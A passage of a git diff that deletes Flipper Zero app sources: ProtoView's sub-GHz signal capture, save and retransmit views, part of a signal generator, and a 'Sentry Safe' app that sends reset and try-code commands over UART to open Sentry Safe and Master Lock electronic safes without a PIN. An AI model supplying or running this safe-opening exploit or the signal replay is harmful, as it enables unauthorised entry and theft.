FontSecondary); - canvas_draw_str(canvas, 2, 9, "Direct sampling displays the"); - canvas_draw_str(canvas, 2, 18, "the captured signal in real"); - canvas_draw_str(canvas, 2, 27, "time, like in a CRT TV set."); - canvas_draw_str(canvas, 2, 36, "Use UP/DOWN to change the"); - canvas_draw_str(canvas, 2, 45, "resolution (usec/pixel)."); - canvas_set_font(canvas, FontPrimary); - canvas_draw_str(canvas, 5, 60, "To start/stop, press OK"); - return; - } - privdata->show_usage_info = false; - - /* Draw on screen. */ - int idx = 0; - for(int y = 0; y < 64; y++) { - for(int x = 0; x < 128; x++) { - bool level = bitmap_get(privdata->captured, CAPTURED_BITMAP_BYTES, idx++); - if(level) canvas_draw_dot(canvas, x, y); - } - } - - char buf[32]; - snprintf(buf, sizeof(buf), "%lu usec/px", privdata->usec_per_pixel); - canvas_set_font(canvas, FontSecondary); - canvas_draw_str_with_border(canvas, 1, 60, buf, ColorWhite, ColorBlack); -} - -/* Handle input */ -void process_input_direct_sampling(ProtoViewApp* app, InputEvent input) { - DirectSamplingViewPrivData* privdata = app->view_privdata; - - if(input.type == InputTypePress && input.key == InputKeyOk) { - app->direct_sampling_enabled = !app->direct_sampling_enabled; - } - - if((input.key == InputKeyUp || input.key == InputKeyDown) && - (input.type == InputTypePress || input.type == InputTypeRepeat)) { - uint32_t change = input.type == InputTypePress ? USEC_PER_PIXEL_SMALL_CHANGE : - USEC_PER_PIXEL_LARGE_CHANGE; - if(input.key == InputKeyUp) change = -change; - privdata->usec_per_pixel += change; - if(privdata->usec_per_pixel < USEC_PER_PIXEL_MIN) - privdata->usec_per_pixel = USEC_PER_PIXEL_MIN; - else if(privdata->usec_per_pixel > USEC_PER_PIXEL_MAX) - privdata->usec_per_pixel = USEC_PER_PIXEL_MAX; - /* Update the timer frequency. */ - direct_sampling_timer_stop(app); - direct_sampling_timer_start(app); - } -} - -/* Enter view. Stop the subghz thread to prevent access as we read - * the CC1101 data directly. */ -void view_enter_direct_sampling(ProtoViewApp* app) { - /* Set view defaults. */ - DirectSamplingViewPrivData* privdata = app->view_privdata; - privdata->usec_per_pixel = DEFAULT_USEC_PER_PIXEL; - privdata->captured = malloc(CAPTURED_BITMAP_BYTES); - privdata->show_usage_info = true; - - if(app->txrx->txrx_state == TxRxStateRx && !app->txrx->debug_timer_sampling) { - subghz_devices_stop_async_rx(app->radio_device); - - /* To read data asynchronously directly from the view, we need - * to put the CC1101 back into reception mode (the previous call - * to stop the async RX will put it into idle) and configure the - * G0 pin for reading. */ - subghz_devices_set_rx(app->radio_device); - furi_hal_gpio_init( - subghz_devices_get_data_gpio(app->radio_device), - GpioModeInput, - GpioPullNo, - GpioSpeedLow); - } else { - raw_sampling_worker_stop(app); - } - - // Start the timer to capture raw data - direct_sampling_timer_start(app); -} - -/* Exit view. Restore the subghz thread. */ -void view_exit_direct_sampling(ProtoViewApp* app) { - DirectSamplingViewPrivData* privdata = app->view_privdata; - if(privdata->captured) free(privdata->captured); - app->direct_sampling_enabled = false; - - direct_sampling_timer_stop(app); - - /* Restart normal data feeding. */ - if(app->txrx->txrx_state == TxRxStateRx && !app->txrx->debug_timer_sampling) { - subghz_devices_start_async_rx(app->radio_device, protoview_rx_callback, NULL); - } else { - furi_hal_gpio_init( - subghz_devices_get_data_gpio(app->radio_device), - GpioModeInput, - GpioPullNo, - GpioSpeedLow); - raw_sampling_worker_start(app); - } -} - -/* =========================== Timer implementation ========================= */ - -static void ds_timer_isr(void* ctx) { - ProtoViewApp* app = ctx; - DirectSamplingViewPrivData* privdata = app->view_privdata; - - if(app->direct_sampling_enabled) { - bool level = furi_hal_gpio_read(subghz_devices_get_data_gpio(app->radio_device)); - bitmap_set(privdata->captured, CAPTURED_BITMAP_BYTES, privdata->captured_idx, level); - privdata->captured_idx = (privdata->captured_idx + 1) % CAPTURED_BITMAP_BITS; - } - LL_TIM_ClearFlag_UPDATE(TIM2); -} - -static void direct_sampling_timer_start(ProtoViewApp* app) { - DirectSamplingViewPrivData* privdata = app->view_privdata; - - furi_hal_bus_enable(FuriHalBusTIM2); - - LL_TIM_InitTypeDef tim_init = { - .Prescaler = 63, /* CPU frequency is ~64Mhz. */ - .CounterMode = LL_TIM_COUNTERMODE_UP, - .Autoreload = privdata->usec_per_pixel}; - - LL_TIM_Init(TIM2, &tim_init); - LL_TIM_SetClockSource(TIM2, LL_TIM_CLOCKSOURCE_INTERNAL); - LL_TIM_DisableCounter(TIM2); - LL_TIM_SetCounter(TIM2, 0); - furi_hal_interrupt_set_isr(FuriHalInterruptIdTIM2, ds_timer_isr, app); - LL_TIM_EnableIT_UPDATE(TIM2); - LL_TIM_EnableCounter(TIM2); -} - -static void direct_sampling_timer_stop(ProtoViewApp* app) { - UNUSED(app); - FURI_CRITICAL_ENTER(); - LL_TIM_DisableCounter(TIM2); - LL_TIM_DisableIT_UPDATE(TIM2); - furi_hal_interrupt_set_isr(FuriHalInterruptIdTIM2, NULL, NULL); - furi_hal_bus_disable(FuriHalBusTIM2); - FURI_CRITICAL_EXIT(); -} diff --git a/applications/external/protoview/view_info.c b/applications/external/protoview/view_info.c deleted file mode 100644 index 75fc58411..000000000 --- a/applications/external/protoview/view_info.c +++ /dev/null @@ -1,332 +0,0 @@ -/* Copyright (C) 2022-2023 Salvatore Sanfilippo -- All Rights Reserved - * See the LICENSE file for information about the license. */ - -#include "app.h" -#include -#include - -/* This view has subviews accessible navigating up/down. This - * enumaration is used to track the currently active subview. */ -enum { - SubViewInfoMain, - SubViewInfoSave, - SubViewInfoLast, /* Just a sentinel. */ -}; - -/* Our view private data. */ -#define SAVE_FILENAME_LEN 64 -typedef struct { - /* Our save view displays an oscilloscope-alike resampled signal, - * so that the user can see what they are saving. With left/right - * you can move to next rows. Here we store where we are. */ - uint32_t signal_display_start_row; - char* filename; - uint8_t cur_info_page; // Info page to display. Useful when there are - // too many fields populated by the decoder that - // a single page is not enough. -} InfoViewPrivData; - -/* Draw the text label and value of the specified info field at x,y. */ -static void render_info_field(Canvas* const canvas, ProtoViewField* f, uint8_t x, uint8_t y) { - char buf[64]; - char strval[32]; - - field_to_string(strval, sizeof(strval), f); - snprintf(buf, sizeof(buf), "%s: %s", f->name, strval); - canvas_set_font(canvas, FontSecondary); - canvas_draw_str(canvas, x, y, buf); -} - -/* Render the view with the detected message information. */ -#define INFO_LINES_PER_PAGE 5 -static void render_subview_main(Canvas* const canvas, ProtoViewApp* app) { - InfoViewPrivData* privdata = app->view_privdata; - uint8_t pages = - (app->msg_info->fieldset->numfields + (INFO_LINES_PER_PAGE - 1)) / INFO_LINES_PER_PAGE; - privdata->cur_info_page %= pages; - uint8_t current_page = privdata->cur_info_page; - char buf[32]; - - /* Protocol name as title. */ - canvas_set_font(canvas, FontPrimary); - uint8_t y = 8, lineheight = 10; - - if(pages > 1) { - snprintf( - buf, sizeof(buf), "%s %u/%u", app->msg_info->decoder->name, current_page + 1, pages); - canvas_draw_str(canvas, 0, y, buf); - } else { - canvas_draw_str(canvas, 0, y, app->msg_info->decoder->name); - } - y += lineheight; - - /* Draw the info fields. */ - uint8_t max_lines = INFO_LINES_PER_PAGE; - uint32_t j = current_page * max_lines; - while(j < app->msg_info->fieldset->numfields) { - render_info_field(canvas, app->msg_info->fieldset->fields[j++], 0, y); - y += lineheight; - if(--max_lines == 0) break; - } - - /* Draw a vertical "save" label. Temporary solution, to switch to - * something better ASAP. */ - y = 37; - lineheight = 7; - canvas_draw_str(canvas, 119, y, "s"); - y += lineheight; - canvas_draw_str(canvas, 119, y, "a"); - y += lineheight; - canvas_draw_str(canvas, 119, y, "v"); - y += lineheight; - canvas_draw_str(canvas, 119, y, "e"); - y += lineheight; -} - -/* Render view with save option. */ -static void render_subview_save(Canvas* const canvas, ProtoViewApp* app) { - InfoViewPrivData* privdata = app->view_privdata; - - /* Display our signal in digital form: here we don't show the - * signal with the exact timing of the received samples, but as it - * is in its logic form, in exact multiples of the short pulse length. */ - uint8_t rows = 6; - uint8_t rowheight = 11; - uint8_t bitwidth = 4; - uint8_t bitheight = 5; - uint32_t idx = privdata->signal_display_start_row * (128 / 4); - bool prevbit = false; - for(uint8_t y = bitheight + 12; y <= rows * rowheight; y += rowheight) { - for(uint8_t x = 0; x < 128; x += 4) { - bool bit = bitmap_get(app->msg_info->bits, app->msg_info->bits_bytes, idx); - uint8_t prevy = y + prevbit * (bitheight * -1) - 1; - uint8_t thisy = y + bit * (bitheight * -1) - 1; - canvas_draw_line(canvas, x, prevy, x, thisy); - canvas_draw_line(canvas, x, thisy, x + bitwidth - 1, thisy); - prevbit = bit; - if(idx >= app->msg_info->pulses_count) { - canvas_set_color(canvas, ColorWhite); - canvas_draw_dot(canvas, x + 1, thisy); - canvas_draw_dot(canvas, x + 3, thisy); - canvas_set_color(canvas, ColorBlack); - } - idx++; // Draw next bit - } - } - - canvas_set_font(canvas, FontSecondary); - canvas_draw_str(canvas, 0, 6, "ok: send, long ok: save"); -} - -/* Render the selected subview of this view. */ -void render_view_info(Canvas* const canvas, ProtoViewApp* app) { - if(app->signal_decoded == false) { - canvas_set_font(canvas, FontSecondary); - canvas_draw_str(canvas, 30, 36, "No signal decoded"); - return; - } - - ui_show_available_subviews(canvas, app, SubViewInfoLast); - switch(app->current_subview[app->current_view]) { - case SubViewInfoMain: - render_subview_main(canvas, app); - break; - case SubViewInfoSave: - render_subview_save(canvas, app); - break; - } -} - -/* The user typed the file name. Let's save it and remove the keyboard - * view. */ -static void text_input_done_callback(void* context) { - ProtoViewApp* app = context; - InfoViewPrivData* privdata = app->view_privdata; - - FuriString* save_path = - furi_string_alloc_printf("%s/%s.sub", EXT_PATH("subghz"), privdata->filename); - save_signal(app, furi_string_get_cstr(save_path)); - furi_string_free(save_path); - - free(privdata->filename); - privdata->filename = NULL; // Don't free it again on view exit - ui_dismiss_keyboard(app); - ui_show_alert(app, "Signal saved", 1500); -} - -/* Replace all the occurrences of character c1 with c2 in the specified - * string. */ -void str_replace(char* buf, char c1, char c2) { - char* p = buf; - while(*p) { - if(*p == c1) *p = c2; - p++; - } -} - -/* Set a random filename the user can edit. */ -void set_signal_random_filename(ProtoViewApp* app, char* buf, size_t buflen) { - char suffix[6]; - set_random_name(suffix, sizeof(suffix)); - snprintf(buf, buflen, "%.10s-%s-%d", app->msg_info->decoder->name, suffix, rand() % 1000); - str_replace(buf, ' ', '_'); - str_replace(buf, '-', '_'); - str_replace(buf, '/', '_'); -} - -/* ========================== Signal transmission =========================== */ - -/* This is the context we pass to the data yield callback for - * asynchronous tx. */ -typedef enum { - SendSignalSendStartGap, - SendSignalSendBits, - SendSignalSendEndGap, - SendSignalEndTransmission -} SendSignalState; - -#define PROTOVIEW_SENDSIGNAL_START_GAP 10000 /* microseconds. */ -#define PROTOVIEW_SENDSIGNAL_END_GAP 10000 /* microseconds. */ - -typedef struct { - SendSignalState state; // Current state. - uint32_t curpos; // Current bit position of data to send. - ProtoViewApp* app; // App reference. - uint32_t start_gap_dur; // Gap to send at the start. - uint32_t end_gap_dur; // Gap to send at the end. -} SendSignalCtx; - -/* Setup the state context for the callback responsible to feed data - * to the subghz async tx system. */ -static void send_signal_init(SendSignalCtx* ss, ProtoViewApp* app) { - ss->state = SendSignalSendStartGap; - ss->curpos = 0; - ss->app = app; - ss->start_gap_dur = PROTOVIEW_SENDSIGNAL_START_GAP; - ss->end_gap_dur = PROTOVIEW_SENDSIGNAL_END_GAP; -} - -/* Send signal data feeder callback. When the asynchronous transmission is - * active, this function is called to return new samples from the currently - * decoded signal in app->msg_info. The subghz subsystem aspects this function, - * that is the data feeder, to return LevelDuration types (that is a structure - * with level, that is pulse or gap, and duration in microseconds). - * - * The position into the transmission is stored in the context 'ctx', that - * references a SendSignalCtx structure. - * - * In the SendSignalCtx structure 'ss' we remember at which bit of the - * message we are, in ss->curoff. We also send a start and end gap in order - * to make sure the transmission is clear. - */ -LevelDuration radio_tx_feed_data(void* ctx) { - SendSignalCtx* ss = ctx; - - /* Send start gap. */ - if(ss->state == SendSignalSendStartGap) { - ss->state = SendSignalSendBits; - return level_duration_make(0, ss->start_gap_dur); - } - - /* Send data. */ - if(ss->state == SendSignalSendBits) { - uint32_t dur = 0, j; - uint32_t level = 0; - - /* Let's see how many consecutive bits we have with the same - * level. */ - for(j = 0; ss->curpos + j < ss->app->msg_info->pulses_count; j++) { - uint32_t l = - bitmap_get(ss->app->msg_info->bits, ss->app->msg_info->bits_bytes, ss->curpos + j); - if(j == 0) { - /* At the first bit of this sequence, we store the - * level of the sequence. */ - level = l; - dur += ss->app->msg_info->short_pulse_dur; - continue; - } - - /* As long as the level is the same, we update the duration. - * Otherwise stop the loop and return this sample. */ - if(l != level) break; - dur += ss->app->msg_info->short_pulse_dur; - } - ss->curpos += j; - - /* If this was the last set of bits, change the state to - * send the final gap. */ - if(ss->curpos >= ss->app->msg_info->pulses_count) ss->state = SendSignalSendEndGap; - return level_duration_make(level, dur); - } - - /* Send end gap. */ - if(ss->state == SendSignalSendEndGap) { - ss->state = SendSignalEndTransmission; - return level_duration_make(0, ss->end_gap_dur); - } - - /* End transmission. Here state is guaranteed - * to be SendSignalEndTransmission */ - return level_duration_reset(); -} - -/* Vibrate and produce a click sound when a signal is sent. */ -void notify_signal_sent(ProtoViewApp* app) { - static const NotificationSequence sent_seq = { - &message_blue_255, - &message_vibro_on, - &message_note_g1, - &message_delay_10, - &message_sound_off, - &message_vibro_off, - &message_blue_0, - NULL}; - notification_message(app->notification, &sent_seq); -} - -/* Handle input for the info view. */ -void process_input_info(ProtoViewApp* app, InputEvent input) { - /* If we don't have a decoded signal, we don't allow to go up/down - * in the subviews: they are only useful when a loaded signal. */ - if(app->signal_decoded && ui_process_subview_updown(app, input, SubViewInfoLast)) return; - - InfoViewPrivData* privdata = app->view_privdata; - int subview = ui_get_current_subview(app); - - /* Main subview. */ - if(subview == SubViewInfoMain) { - if(input.type == InputTypeLong && input.key == InputKeyOk) { - /* Reset the current sample to capture the next. */ - reset_current_signal(app); - } else if(input.type == InputTypeShort && input.key == InputKeyOk) { - /* Show next info page. */ - privdata->cur_info_page++; - } - } else if(subview == SubViewInfoSave) { - /* Save subview. */ - if(input.type == InputTypePress && input.key == InputKeyRight) { - privdata->signal_display_start_row++; - } else if(input.type == InputTypePress && input.key == InputKeyLeft) { - if(privdata->signal_display_start_row != 0) privdata->signal_display_start_row--; - } else if(input.type == InputTypeLong && input.key == InputKeyOk) { - // We have have the buffer already allocated, in case the - // user aborted with BACK a previous saving. - if(privdata->filename == NULL) privdata->filename = malloc(SAVE_FILENAME_LEN); - set_signal_random_filename(app, privdata->filename, SAVE_FILENAME_LEN); - ui_show_keyboard(app, privdata->filename, SAVE_FILENAME_LEN, text_input_done_callback); - } else if(input.type == InputTypeShort && input.key == InputKeyOk) { - SendSignalCtx send_state; - send_signal_init(&send_state, app); - radio_tx_signal(app, radio_tx_feed_data, &send_state); - notify_signal_sent(app); - } - } -} - -/* Called on view exit. */ -void view_exit_info(ProtoViewApp* app) { - InfoViewPrivData* privdata = app->view_privdata; - // When the user aborts the keyboard input, we are left with the - // filename buffer allocated. - if(privdata->filename) free(privdata->filename); -} diff --git a/applications/external/protoview/view_raw_signal.c b/applications/external/protoview/view_raw_signal.c deleted file mode 100644 index 38354bef9..000000000 --- a/applications/external/protoview/view_raw_signal.c +++ /dev/null @@ -1,114 +0,0 @@ -/* Copyright (C) 2022-2023 Salvatore Sanfilippo -- All Rights Reserved - * See the LICENSE file for information about the license. */ - -#include "app.h" - -/* Render the received signal. - * - * The screen of the flipper is 128 x 64. Even using 4 pixels per line - * (where low level signal is one pixel high, high level is 4 pixels - * high) and 4 pixels of spacing between the different lines, we can - * plot comfortably 8 lines. - * - * The 'idx' argument is the first sample to render in the circular - * buffer. */ -void render_signal(ProtoViewApp* app, Canvas* const canvas, RawSamplesBuffer* buf, uint32_t idx) { - canvas_set_color(canvas, ColorBlack); - - int rows = 8; - uint32_t time_per_pixel = app->us_scale; - uint32_t start_idx = idx; - bool level = 0; - uint32_t dur = 0, sample_num = 0; - for(int row = 0; row < rows; row++) { - for(int x = 0; x < 128; x++) { - int y = 3 + row * 8; - if(dur < time_per_pixel / 2) { - /* Get more data. */ - raw_samples_get(buf, idx++, &level, &dur); - sample_num++; - } - - canvas_draw_line(canvas, x, y, x, y - (level * 3)); - - /* Write a small triangle under the last sample detected. */ - if(app->signal_bestlen != 0 && sample_num + start_idx == app->signal_bestlen + 1) { - canvas_draw_dot(canvas, x, y + 2); - canvas_draw_dot(canvas, x - 1, y + 3); - canvas_draw_dot(canvas, x, y + 3); - canvas_draw_dot(canvas, x + 1, y + 3); - sample_num++; /* Make sure we don't mark the next, too. */ - } - - /* Remove from the current level duration the time we - * just plot. */ - if(dur > time_per_pixel) - dur -= time_per_pixel; - else - dur = 0; - } - } -} - -/* Raw pulses rendering. This is our default view. */ -void render_view_raw_pulses(Canvas* const canvas, ProtoViewApp* app) { - /* Show signal. */ - render_signal(app, canvas, DetectedSamples, app->signal_offset); - - /* Show signal information. */ - char buf[64]; - snprintf(buf, sizeof(buf), "%luus", (unsigned long)DetectedSamples->short_pulse_dur); - canvas_set_font(canvas, FontSecondary); - canvas_draw_str_with_border(canvas, 97, 63, buf, ColorWhite, ColorBlack); - if(app->signal_decoded) { - canvas_set_font(canvas, FontPrimary); - canvas_draw_str_with_border( - canvas, 1, 61, app->msg_info->decoder->name, ColorWhite, ColorBlack); - } -} - -/* Handle input for the raw pulses view. */ -void process_input_raw_pulses(ProtoViewApp* app, InputEvent input) { - if(input.type == InputTypeRepeat) { - /* Handle panning of the signal window. Long pressing - * right will show successive samples, long pressing left - * previous samples. */ - if(input.key == InputKeyRight) - app->signal_offset++; - else if(input.key == InputKeyLeft) - app->signal_offset--; - } else if(input.type == InputTypeLong) { - if(input.key == InputKeyOk) { - /* Reset the current sample to capture the next. */ - reset_current_signal(app); - } - } else if(input.type == InputTypeShort) { - if(input.key == InputKeyOk) { - app->signal_offset = 0; - adjust_raw_view_scale(app, DetectedSamples->short_pulse_dur); - } else if(input.key == InputKeyDown) { - /* Rescaling. The set becomes finer under 50us per pixel. */ - uint32_t scale_step = app->us_scale >= 50 ? 50 : 10; - if(app->us_scale < 500) app->us_scale += scale_step; - } else if(input.key == InputKeyUp) { - uint32_t scale_step = app->us_scale > 50 ? 50 : 10; - if(app->us_scale > 10) app->us_scale -= scale_step; - } - } -} - -/* Adjust raw view scale depending on short pulse duration. */ -void adjust_raw_view_scale(ProtoViewApp* app, uint32_t short_pulse_dur) { - if(short_pulse_dur == 0) - app->us_scale = PROTOVIEW_RAW_VIEW_DEFAULT_SCALE; - else if(short_pulse_dur < 75) - app->us_scale = 10; - else if(short_pulse_dur < 145) - app->us_scale = 30; - else if(short_pulse_dur < 400) - app->us_scale = 100; - else if(short_pulse_dur < 1000) - app->us_scale = 200; - else - app->us_scale = PROTOVIEW_RAW_VIEW_DEFAULT_SCALE; -} diff --git a/applications/external/protoview/view_settings.c b/applications/external/protoview/view_settings.c deleted file mode 100644 index 09abf5a2a..000000000 --- a/applications/external/protoview/view_settings.c +++ /dev/null @@ -1,119 +0,0 @@ -/* Copyright (C) 2022-2023 Salvatore Sanfilippo -- All Rights Reserved - * See the LICENSE file for information about the license. */ - -#include "app.h" - -/* Renders a single view with frequency and modulation setting. However - * this are logically two different views, and only one of the settings - * will be highlighted. */ -void render_view_settings(Canvas* const canvas, ProtoViewApp* app) { - canvas_set_font(canvas, FontPrimary); - if(app->current_view == ViewFrequencySettings) - canvas_draw_str_with_border(canvas, 1, 10, "Frequency", ColorWhite, ColorBlack); - else - canvas_draw_str(canvas, 1, 10, "Frequency"); - - if(app->current_view == ViewModulationSettings) - canvas_draw_str_with_border(canvas, 70, 10, "Modulation", ColorWhite, ColorBlack); - else - canvas_draw_str(canvas, 70, 10, "Modulation"); - canvas_set_font(canvas, FontSecondary); - canvas_draw_str(canvas, 10, 61, "Use up and down to modify"); - - if(app->txrx->debug_timer_sampling) - canvas_draw_str(canvas, 3, 52, "(DEBUG timer sampling is ON)"); - - /* Show frequency. We can use big numbers font since it's just a number. */ - if(app->current_view == ViewFrequencySettings) { - char buf[16]; - snprintf(buf, sizeof(buf), "%.2f", (double)app->frequency / 1000000); - canvas_set_font(canvas, FontBigNumbers); - canvas_draw_str(canvas, 30, 40, buf); - } else if(app->current_view == ViewModulationSettings) { - int current = app->modulation; - canvas_set_font(canvas, FontPrimary); - canvas_draw_str(canvas, 33, 39, ProtoViewModulations[current].name); - } -} - -/* Handle input for the settings view. */ -void process_input_settings(ProtoViewApp* app, InputEvent input) { - if(input.type == InputTypeLong && input.key == InputKeyOk) { - /* Long pressing to OK sets the default frequency and - * modulation. */ - app->frequency = subghz_setting_get_default_frequency(app->setting); - app->modulation = 0; - } else if(0 && input.type == InputTypeLong && input.key == InputKeyDown) { - /* Long pressing to down switches between normal and debug - * timer sampling mode. NOTE: this feature is disabled for users, - * only useful for devs (if useful at all). */ - - /* We have to stop the previous sampling system. */ - radio_rx_end(app); - - /* Then switch mode and start the new one. */ - app->txrx->debug_timer_sampling = !app->txrx->debug_timer_sampling; - radio_begin(app); - radio_rx(app); - } else if(input.type == InputTypePress && (input.key != InputKeyDown || input.key != InputKeyUp)) { - /* Handle up and down to change frequency or modulation. */ - if(app->current_view == ViewFrequencySettings) { - size_t curidx = 0, i; - size_t count = subghz_setting_get_frequency_count(app->setting); - - /* Scan the list of frequencies to check for the index of the - * currently set frequency. */ - for(i = 0; i < count; i++) { - uint32_t freq = subghz_setting_get_frequency(app->setting, i); - if(freq == app->frequency) { - curidx = i; - break; - } - } - if(i == count) return; /* Should never happen. */ - - if(input.key == InputKeyUp) { - curidx = curidx == 0 ? count - 1 : curidx - 1; - } else if(input.key == InputKeyDown) { - curidx = (curidx + 1) % count; - } else { - return; - } - app->frequency = subghz_setting_get_frequency(app->setting, curidx); - } else if(app->current_view == ViewModulationSettings) { - uint32_t count = 0; - uint32_t modid = app->modulation; - - while(ProtoViewModulations[count].name != NULL) count++; - if(input.key == InputKeyUp) { - modid = modid == 0 ? count - 1 : modid - 1; - } else if(input.key == InputKeyDown) { - modid = (modid + 1) % count; - } else { - return; - } - app->modulation = modid; - } - } else { - return; - } - - /* Apply changes when switching to other views. */ - app->txrx->freq_mod_changed = true; -} - -/* When the user switches to some other view, if they changed the parameters - * we need to restart the radio with the right frequency and modulation. */ -void view_exit_settings(ProtoViewApp* app) { - if(app->txrx->freq_mod_changed) { - FURI_LOG_E( - TAG, - "Setting view, setting frequency/modulation to %lu %s", - app->frequency, - ProtoViewModulations[app->modulation].name); - radio_rx_end(app); - radio_begin(app); - radio_rx(app); - app->txrx->freq_mod_changed = false; - } -} diff --git a/applications/external/sentry_safe/application.fam b/applications/external/sentry_safe/application.fam deleted file mode 100644 index 7c114df6e..000000000 --- a/applications/external/sentry_safe/application.fam +++ /dev/null @@ -1,14 +0,0 @@ -App( - appid="gpio_sentry_safe", - name="[GPIO] Sentry Safe", - apptype=FlipperAppType.EXTERNAL, - entry_point="sentry_safe_app", - requires=["gui"], - stack_size=1 * 1024, - order=80, - fap_icon="safe_10px.png", - fap_category="GPIO", - fap_author="@H4ckd4ddy & @xMasterX (ported to latest firmware)", - fap_version="1.0", - fap_description="App exploiting vulnerability to open any Sentry Safe and Master Lock electronic safe without any pin code via UART pins.", -) diff --git a/applications/external/sentry_safe/safe_10px.png b/applications/external/sentry_safe/safe_10px.png deleted file mode 100644 index 713d79a8e..000000000 Binary files a/applications/external/sentry_safe/safe_10px.png and /dev/null differ diff --git a/applications/external/sentry_safe/sentry_safe.c b/applications/external/sentry_safe/sentry_safe.c deleted file mode 100644 index 789b43f2c..000000000 --- a/applications/external/sentry_safe/sentry_safe.c +++ /dev/null @@ -1,169 +0,0 @@ -#include -#include -#include -#include - -#include - -typedef struct { - uint8_t status; - FuriMutex* mutex; -} SentryState; - -typedef enum { - EventTypeTick, - EventTypeKey, -} EventType; - -typedef struct { - EventType type; - InputEvent input; -} Event; - -const char* status_texts[3] = {"[Press OK to open safe]", "Sending...", "Done !"}; - -static void sentry_safe_render_callback(Canvas* const canvas, void* ctx) { - furi_assert(ctx); - const SentryState* sentry_state = ctx; - furi_mutex_acquire(sentry_state->mutex, FuriWaitForever); - - // Before the function is called, the state is set with the canvas_reset(canvas) - - // Frame - canvas_draw_frame(canvas, 0, 0, 128, 64); - - // Message - canvas_set_font(canvas, FontPrimary); - - canvas_draw_frame(canvas, 22, 4, 84, 24); - canvas_draw_str_aligned(canvas, 64, 15, AlignCenter, AlignBottom, "BLACK <-> GND"); - canvas_draw_str_aligned(canvas, 64, 25, AlignCenter, AlignBottom, "GREEN <-> C1 "); - canvas_draw_str_aligned( - canvas, 64, 50, AlignCenter, AlignBottom, status_texts[sentry_state->status]); - - furi_mutex_release(sentry_state->mutex); -} - -static void sentry_safe_input_callback(InputEvent* input_event, FuriMessageQueue* event_queue) { - furi_assert(event_queue); - - Event event = {.type = EventTypeKey, .input = *input_event}; - furi_message_queue_put(event_queue, &event, FuriWaitForever); -} - -void send_request(int command, int a, int b, int c, int d, int e) { - int checksum = (command + a + b + c + d + e); - - furi_hal_gpio_init_simple(&gpio_ext_pc1, GpioModeOutputPushPull); - furi_hal_gpio_write(&gpio_ext_pc1, false); - furi_delay_ms(3.4); - furi_hal_gpio_write(&gpio_ext_pc1, true); - - furi_hal_uart_init(FuriHalUartIdLPUART1, 4800); - //furi_hal_uart_set_br(FuriHalUartIdLPUART1, 4800); - //furi_hal_uart_set_irq_cb(FuriHalUartIdLPUART1, usb_uart_on_irq_cb, usb_uart); - - uint8_t data[8] = {0x0, command, a, b, c, d, e, checksum}; - furi_hal_uart_tx(FuriHalUartIdLPUART1, data, 8); - - furi_delay_ms(100); - - furi_hal_uart_set_irq_cb(FuriHalUartIdLPUART1, NULL, NULL); - furi_hal_uart_deinit(FuriHalUartIdLPUART1); -} - -void reset_code(int a, int b, int c, int d, int e) { - send_request(0x75, a, b, c, d, e); -} - -void try_code(int a, int b, int c, int d, int e) { - send_request(0x71, a, b, c, d, e); -} - -int32_t sentry_safe_app(void* p) { - UNUSED(p); - - FuriMessageQueue* event_queue = furi_message_queue_alloc(8, sizeof(Event)); - - SentryState* sentry_state = malloc(sizeof(SentryState)); - - sentry_state->status = 0; - - sentry_state->mutex = furi_mutex_alloc(FuriMutexTypeNormal); - if(!sentry_state->mutex) { - FURI_LOG_E("SentrySafe", "cannot create mutex\r\n"); - furi_message_queue_free(event_queue); - free(sentry_state); - return 255; - } - - ViewPort* view_port = view_port_alloc(); - view_port_draw_callback_set(view_port, sentry_safe_render_callback, sentry_state); - view_port_input_callback_set(view_port, sentry_safe_input_callback, event_queue); - - // Open GUI and register view_port - Gui* gui = furi_record_open(RECORD_GUI); - gui_add_view_port(gui, view_port, GuiLayerFullscreen); - - Event event; - for(bool processing = true; processing;) { - FuriStatus event_status = furi_message_queue_get(event_queue, &event, 100); - - furi_mutex_acquire(sentry_state->mutex, FuriWaitForever); - - if(event_status == FuriStatusOk) { - // press events - if(event.type == EventTypeKey) { - if(event.input.type == InputTypePress) { - switch(event.input.key) { - case InputKeyUp: - break; - case InputKeyDown: - break; - case InputKeyRight: - break; - case InputKeyLeft: - break; - case InputKeyOk: - - if(sentry_state->status == 2) { - sentry_state->status = 0; - - } else if(sentry_state->status == 0) { - sentry_state->status = 1; - - reset_code(1, 2, 3, 4, 5); - furi_delay_ms(500); - try_code(1, 2, 3, 4, 5); - - sentry_state->status = 2; - } - - break; - case InputKeyBack: - processing = false; - break; - default: - break; - } - } - } - } - - view_port_update(view_port); - furi_mutex_release(sentry_state->mutex); - } - - // Reset GPIO pins to default state - furi_hal_gpio_init(&gpio_ext_pc1, GpioModeAnalog, GpioPullNo, GpioSpeedLow); - - view_port_enabled_set(view_port, false); - gui_remove_view_port(gui, view_port); - furi_record_close(RECORD_GUI); - view_port_free(view_port); - furi_message_queue_free(event_queue); - furi_mutex_free(sentry_state->mutex); - free(sentry_state); - - return 0; -} \ No newline at end of file diff --git a/applications/external/signal_generator/application.fam b/applications/external/signal_generator/application.fam deleted file mode 100644 index 094e784cc..000000000 --- a/applications/external/signal_generator/application.fam +++ /dev/null @@ -1,12 +0,0 @@ -App( - appid="signal_generator", - name="Signal Generator", - apptype=FlipperAppType.EXTERNAL, - entry_point="signal_gen_app", - requires=["gui"], - stack_size=1 * 1024, - order=50, - fap_icon="signal_gen_10px.png", - fap_category="GPIO", - fap_icon_assets="icons", -) diff --git a/applications/external/signal_generator/icons/SmallArrowDown_3x5.png b/applications/external/signal_generator/icons/SmallArrowDown_3x5.png deleted file mode 100644 index 1912e5d24..000000000 Binary files a/applications/external/signal_generator/icons/SmallArrowDown_3x5.png and /dev/null differ diff --git a/applications/external/signal_generator/icons/SmallArrowUp_3x5.png b/applications/external/signal_generator/icons/SmallArrowUp_3x5.png deleted file mode 100644 index 9c6242078..000000000 Binary files a/applications/external/signal_generator/icons/SmallArrowUp_3x5.png and /dev/null differ diff --git a/applications/external/signal_generator/scenes/signal_gen_scene.c b/applications/external/signal_generator/scenes/signal_gen_scene.c deleted file mode 100644 index 29b11ee3f..000000000 --- a/applications/external/signal_generator/scenes/signal_gen_scene.c +++ /dev/null @@ -1,30 +0,0 @@ -#include "../signal_gen_app_i.h" - -// Generate scene on_enter handlers array -#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_enter, -void (*const signal_gen_scene_on_enter_handlers[])(void*) = { -#include "signal_gen_scene_config.h" -}; -#undef ADD_SCENE - -// Generate scene on_event handlers array -#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_event, -bool (*const signal_gen_scene_on_event_handlers[])(void* context, SceneManagerEvent event) = { 